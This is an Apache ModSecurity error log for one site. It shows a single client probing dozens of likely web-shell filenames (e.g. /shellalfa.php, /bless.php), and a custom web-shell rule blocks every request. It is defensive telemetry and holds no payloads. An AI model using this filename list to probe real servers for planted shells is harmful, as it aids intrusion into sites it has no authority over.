[Sat Dec 20 20:49:31.203409 2025] [:error] [pid 33793:tid 33802] [client 4.197.92.49:50936] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/shellalfa.php"] [unique_id "aUabW1SicyB0BFmbRMzIvwAAAsc"]
[Sat Dec 20 20:49:34.091940 2025] [:error] [pid 33687:tid 33699] [client 4.197.92.49:1864] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/shellalfa.php"] [unique_id "aUabXjYMR4qK1N4g7vjCvQAAAkk"]
[Sat Dec 20 20:49:34.947579 2025] [:error] [pid 14286:tid 14301] [client 4.197.92.49:1856] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/shellalfa.php"] [unique_id "aUabXp7rbXIrw6rGSdZvTwAAAUs"]
[Sat Dec 20 20:49:36.607752 2025] [:error] [pid 39577:tid 39582] [client 4.197.92.49:46688] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/te.php"] [unique_id "aUabYLviRnt1rJiSOfxU3gAAAMM"]
[Sat Dec 20 20:49:37.034582 2025] [:error] [pid 62124:tid 62134] [client 4.197.92.49:38727] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/te.php"] [unique_id "aUabYVs94zPA9ULQOjlwbAAAAAg"]
[Sat Dec 20 20:49:40.320210 2025] [:error] [pid 14247:tid 14250] [client 4.197.92.49:1700] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/te.php"] [unique_id "aUabZCDv9TtKKdJQn9kJ8wAAAQE"]
[Sat Dec 20 20:49:40.987072 2025] [:error] [pid 33749:tid 33752] [client 4.197.92.49:1857] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/te.php"] [unique_id "aUabZNoInXJnb96wei9H1gAAAoE"]
[Sat Dec 20 20:49:41.343246 2025] [:error] [pid 33749:tid 33773] [client 4.197.92.49:1472] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a2.php"] [unique_id "aUabZdoInXJnb96wei9H1wAAApY"]
[Sat Dec 20 20:49:43.145807 2025] [:error] [pid 33844:tid 33862] [client 4.197.92.49:1509] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a2.php"] [unique_id "aUabZyaNtwGsyqqVmQHqaAAAAxA"]
[Sat Dec 20 20:49:43.794130 2025] [:error] [pid 33793:tid 33807] [client 4.197.92.49:1519] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a2.php"] [unique_id "aUabZ1SicyB0BFmbRMzIwAAAAsw"]
[Sat Dec 20 20:49:44.766274 2025] [:error] [pid 33687:tid 33701] [client 4.197.92.49:48720] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a2.php"] [unique_id "aUabaDYMR4qK1N4g7vjCwgAAAks"]
[Sat Dec 20 20:49:45.982273 2025] [:error] [pid 39577:tid 39603] [client 4.197.92.49:37820] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jp.php"] [unique_id "aUababviRnt1rJiSOfxU4QAAANg"]
[Sat Dec 20 20:49:47.631500 2025] [:error] [pid 39577:tid 39593] [client 4.197.92.49:45652] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jp.php"] [unique_id "aUaba7viRnt1rJiSOfxU4wAAAM4"]
[Sat Dec 20 20:49:47.879889 2025] [:error] [pid 39493:tid 39565] [client 4.197.92.49:37770] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jp.php"] [unique_id "aUaba2hjL2VG_FmIHqDtLwAAAJA"]
[Sat Dec 20 20:49:49.666602 2025] [:error] [pid 14247:tid 14267] [client 4.197.92.49:41144] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jp.php"] [unique_id "aUabbSDv9TtKKdJQn9kJ9QAAARI"]
[Sat Dec 20 20:49:50.604252 2025] [:error] [pid 39577:tid 39586] [client 4.197.92.49:1473] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cccc.php"] [unique_id "aUabbrviRnt1rJiSOfxU5QAAAMc"]
[Sat Dec 20 20:49:52.030616 2025] [:error] [pid 33570:tid 33593] [client 4.197.92.49:37797] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cccc.php"] [unique_id "aUabcITNveA-c6YcSrIC4AAAAdE"]
[Sat Dec 20 20:49:53.887663 2025] [:error] [pid 33793:tid 33818] [client 4.197.92.49:48734] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cccc.php"] [unique_id "aUabcVSicyB0BFmbRMzIxAAAAtc"]
[Sat Dec 20 20:49:55.170801 2025] [:error] [pid 33793:tid 33796] [client 4.197.92.49:48746] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cccc.php"] [unique_id "aUabc1SicyB0BFmbRMzIxwAAAsE"]
[Sat Dec 20 20:49:55.491080 2025] [:error] [pid 62124:tid 62131] [client 4.197.92.49:41937] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fe5.php"] [unique_id "aUabc1s94zPA9ULQOjlwcgAAAAU"]
[Sat Dec 20 20:49:55.844728 2025] [:error] [pid 33793:tid 33813] [client 4.197.92.49:37798] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fe5.php"] [unique_id "aUabc1SicyB0BFmbRMzIyQAAAtI"]
[Sat Dec 20 20:49:57.032882 2025] [:error] [pid 33687:tid 33695] [client 4.197.92.49:50989] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fe5.php"] [unique_id "aUabdTYMR4qK1N4g7vjCxAAAAkU"]
[Sat Dec 20 20:49:58.063268 2025] [:error] [pid 33793:tid 33798] [client 4.197.92.49:50972] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fe5.php"] [unique_id "aUabdlSicyB0BFmbRMzIzgAAAsM"]
[Sat Dec 20 20:49:58.913629 2025] [:error] [pid 14247:tid 14258] [client 4.197.92.49:49488] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sid3.php"] [unique_id "aUabdiDv9TtKKdJQn9kJ_AAAAQk"]
[Sat Dec 20 20:50:00.339193 2025] [:error] [pid 33844:tid 33859] [client 4.197.92.49:48445] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sid3.php"] [unique_id "aUabeCaNtwGsyqqVmQHqbQAAAw0"]
[Sat Dec 20 20:50:01.313894 2025] [:error] [pid 33687:tid 33711] [client 4.197.92.49:51661] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sid3.php"] [unique_id "aUabeTYMR4qK1N4g7vjCxwAAAlU"]
[Sat Dec 20 20:50:02.227847 2025] [:error] [pid 33687:tid 33710] [client 4.197.92.49:39105] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sid3.php"] [unique_id "aUabejYMR4qK1N4g7vjCyAAAAlQ"]
[Sat Dec 20 20:50:03.574937 2025] [:error] [pid 33749:tid 33753] [client 4.197.92.49:36464] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/v4.php"] [unique_id "aUabe9oInXJnb96wei9H9QAAAoI"]
[Sat Dec 20 20:50:20.030192 2025] [:error] [pid 14286:tid 14299] [client 4.197.92.49:39160] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bless.php"] [unique_id "aUabjJ7rbXIrw6rGSdZvcQAAAUk"]
[Sat Dec 20 20:50:20.855676 2025] [:error] [pid 39493:tid 39570] [client 4.197.92.49:51826] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bless.php"] [unique_id "aUabjGhjL2VG_FmIHqDtQgAAAJU"]
[Sat Dec 20 20:50:21.891636 2025] [:error] [pid 33749:tid 33766] [client 4.197.92.49:35641] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bless.php"] [unique_id "aUabjdoInXJnb96wei9H_gAAAo8"]
[Sat Dec 20 20:50:22.655314 2025] [:error] [pid 33687:tid 33694] [client 4.197.92.49:51313] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bless.php"] [unique_id "aUabjjYMR4qK1N4g7vjCzwAAAkQ"]
[Sat Dec 20 20:50:23.233197 2025] [:error] [pid 39493:tid 39568] [client 4.197.92.49:1652] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/acp.php"] [unique_id "aUabj2hjL2VG_FmIHqDtRQAAAJM"]
[Sat Dec 20 20:50:24.666340 2025] [:error] [pid 14247:tid 14250] [client 4.197.92.49:43007] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/acp.php"] [unique_id "aUabkCDv9TtKKdJQn9kKFgAAAQE"]
[Sat Dec 20 20:50:27.550324 2025] [:error] [pid 14286:tid 14307] [client 4.197.92.49:36429] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/acp.php"] [unique_id "aUabk57rbXIrw6rGSdZvdwAAAVE"]
[Sat Dec 20 20:50:30.095567 2025] [:error] [pid 39577:tid 39600] [client 4.197.92.49:51809] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/acp.php"] [unique_id "aUablrviRnt1rJiSOfxU-QAAANU"]
[Sat Dec 20 20:50:31.053391 2025] [:error] [pid 33687:tid 33693] [client 4.197.92.49:36100] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/g.php"] [unique_id "aUablzYMR4qK1N4g7vjC0wAAAkM"]
[Sat Dec 20 20:50:32.778902 2025] [:error] [pid 33749:tid 33773] [client 4.197.92.49:50034] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/g.php"] [unique_id "aUabmNoInXJnb96wei9IAwAAApY"]
[Sat Dec 20 20:50:34.304172 2025] [:error] [pid 62124:tid 62137] [client 4.197.92.49:36431] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/g.php"] [unique_id "aUabmls94zPA9ULQOjlwwAAAAAs"]
[Sat Dec 20 20:50:36.662382 2025] [:error] [pid 33687:tid 33708] [client 4.197.92.49:42972] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/g.php"] [unique_id "aUabnDYMR4qK1N4g7vjC3QAAAlI"]
[Sat Dec 20 20:50:37.257200 2025] [:error] [pid 33844:tid 33849] [client 4.197.92.49:1657] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/static/as.php"] [unique_id "aUabnSaNtwGsyqqVmQHqmAAAAwM"]
[Sat Dec 20 20:50:38.536953 2025] [:error] [pid 14247:tid 14263] [client 4.197.92.49:39714] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/static/as.php"] [unique_id "aUabniDv9TtKKdJQn9kKJAAAAQ4"]
[Sat Dec 20 20:50:40.532229 2025] [:error] [pid 39577:tid 39600] [client 4.197.92.49:41517] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/static/as.php"] [unique_id "aUaboLviRnt1rJiSOfxVCgAAANU"]
[Sat Dec 20 20:50:41.318134 2025] [:error] [pid 33844:tid 33864] [client 4.197.92.49:36136] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/static/as.php"] [unique_id "aUaboSaNtwGsyqqVmQHqmwAAAxI"]
[Sat Dec 20 20:50:41.965078 2025] [:error] [pid 62124:tid 62132] [client 4.197.92.49:41070] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class.php"] [unique_id "aUaboVs94zPA9ULQOjlwygAAAAY"]
[Sat Dec 20 20:50:42.885407 2025] [:error] [pid 14247:tid 14265] [client 4.197.92.49:36436] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class.php"] [unique_id "aUaboiDv9TtKKdJQn9kKJQAAARA"]
[Sat Dec 20 20:50:43.547050 2025] [:error] [pid 14286:tid 14293] [client 4.197.92.49:36428] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class.php"] [unique_id "aUabo57rbXIrw6rGSdZvnAAAAUM"]
[Sat Dec 20 20:50:44.541198 2025] [:error] [pid 14247:tid 14261] [client 4.197.92.49:51136] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class.php"] [unique_id "aUabpCDv9TtKKdJQn9kKJgAAAQw"]
[Sat Dec 20 20:50:46.210114 2025] [:error] [pid 14286:tid 14298] [client 4.197.92.49:39690] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/simple.php"] [unique_id "aUabpp7rbXIrw6rGSdZvoQAAAUg"]
[Sat Dec 20 20:50:46.748303 2025] [:error] [pid 33749:tid 33757] [client 4.197.92.49:51198] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/simple.php"] [unique_id "aUabptoInXJnb96wei9IDwAAAoY"]
[Sat Dec 20 20:50:47.163355 2025] [:error] [pid 39493:tid 39566] [client 4.197.92.49:52219] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/simple.php"] [unique_id "aUabp2hjL2VG_FmIHqDtTQAAAJE"]
[Sat Dec 20 20:50:47.645144 2025] [:error] [pid 62124:tid 62144] [client 4.197.92.49:51185] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/simple.php"] [unique_id "aUabp1s94zPA9ULQOjlw0QAAABI"]
[Sat Dec 20 20:50:48.353077 2025] [:error] [pid 33749:tid 33764] [client 4.197.92.49:52174] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ioxi-o.php"] [unique_id "aUabqNoInXJnb96wei9IEAAAAo0"]
[Sat Dec 20 20:50:49.884701 2025] [:error] [pid 33749:tid 33774] [client 4.197.92.49:51195] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ioxi-o.php"] [unique_id "aUabqdoInXJnb96wei9IEwAAApc"]
[Sat Dec 20 20:50:51.541716 2025] [:error] [pid 62124:tid 62126] [client 4.197.92.49:38444] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ioxi-o.php"] [unique_id "aUabq1s94zPA9ULQOjlw0wAAAAA"]
[Sat Dec 20 20:50:52.433048 2025] [:error] [pid 39493:tid 39562] [client 4.197.92.49:49997] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ioxi-o.php"] [unique_id "aUabrGhjL2VG_FmIHqDtVAAAAI0"]
[Sat Dec 20 20:50:53.802393 2025] [:error] [pid 14286:tid 14296] [client 4.197.92.49:40190] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/33.php"] [unique_id "aUabrZ7rbXIrw6rGSdZvowAAAUY"]
